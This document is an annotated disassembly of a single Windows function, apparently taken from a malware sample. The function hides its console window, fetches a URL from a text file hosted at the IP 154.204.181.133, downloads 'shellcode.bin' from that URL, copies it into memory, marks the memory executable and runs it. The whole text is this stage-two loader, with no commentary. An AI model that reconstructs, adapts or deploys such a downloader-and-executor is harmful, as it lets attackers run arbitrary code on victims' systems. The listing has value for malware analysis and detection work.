Function at 0x140001591
Capabilities:
Create http request
Download url
Hide graphical window
Read data from internet
Read file on windows
Receive data

Disassembly:
push rbp
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, str.MyApp
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x110], rax
cmp qword [rbp + 0x110], 0
jne 0x140001630
lea rcx, str.Failed_to_initialize_WinINet._n
call sym.printf
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 1
jmp 0x140001a5f
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:__154.204.181.133_l10.txt
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
jne 0x1400016aa
lea rcx, str.Failed_to_open_URL_file._n
call sym.printf
mov rax, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 2
jmp 0x140001a5f
lea rcx, [rbp - 0x44]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x108]
mov r9, rcx
mov r8d, 0xff
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x1400016d9
mov eax, dword [rbp - 0x44]
test eax, eax
jne 0x14000171e
lea rcx, str.Failed_to_read_URL_file._n
call sym.printf
mov rax, qword [rbp + 0x108]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 3
jmp 0x140001a5f
mov rax, qword [rbp + 0x108]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, dword [rbp - 0x44]
mov eax, eax
mov byte [rbp + rax - 0x40], 0
mov eax, dword [rbp - 0x44]
test eax, eax
je 0x140001784
mov eax, dword [rbp - 0x44]
sub eax, 1
mov eax, eax
movzx eax, byte [rbp + rax - 0x40]
cmp al, 0xa
je 0x140001777
mov eax, dword [rbp - 0x44]
sub eax, 1
mov eax, eax
movzx eax, byte [rbp + rax - 0x40]
cmp al, 0xd
jne 0x140001784
mov eax, dword [rbp - 0x44]
sub eax, 1
mov eax, eax
mov byte [rbp + rax - 0x40], 0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x100], rax
lea rax, str.shellcode.bin
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x100]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0
je 0x1400017f8
lea rcx, str.Failed_to_download_shellcode_file._n
call sym.printf
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 4
jmp 0x140001a5f
mov rax, qword [rbp + 0xf8]
lea rdx, [0x1400130b4]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x14000183e
lea rcx, str.Failed_to_open_shellcode_file._n
call sym.printf
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 5
jmp 0x140001a5f
mov rax, qword [rbp + 0xe8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0xe8]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0xe4], eax
mov rax, qword [rbp + 0xe8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp + 0xe4]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x1400018d6
lea rcx, str.Failed_to_allocate_memory_for_shellcode._n
call sym.printf
mov rax, qword [rbp + 0xe8]
mov rcx, rax
call sym.fclose
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 6
jmp 0x140001a5f
mov eax, dword [rbp + 0xe4]
movsxd rdx, eax
mov rcx, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xd8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0xd0]
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x140001979
lea rcx, str.Failed_to_allocate_executable_memory._n
call sym.printf
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.free
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 7
jmp 0x140001a5f
mov rcx, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xc8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rcx, [rbp - 0x48]
mov rdx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xc8]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x140001a0d
lea rcx, str.Failed_to_change_memory_protection._n
call sym.printf
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0xc8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 8
jmp 0x140001a5f
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
call rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0xc8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov eax, 0
add rsp, 0x1a0
pop rbp
ret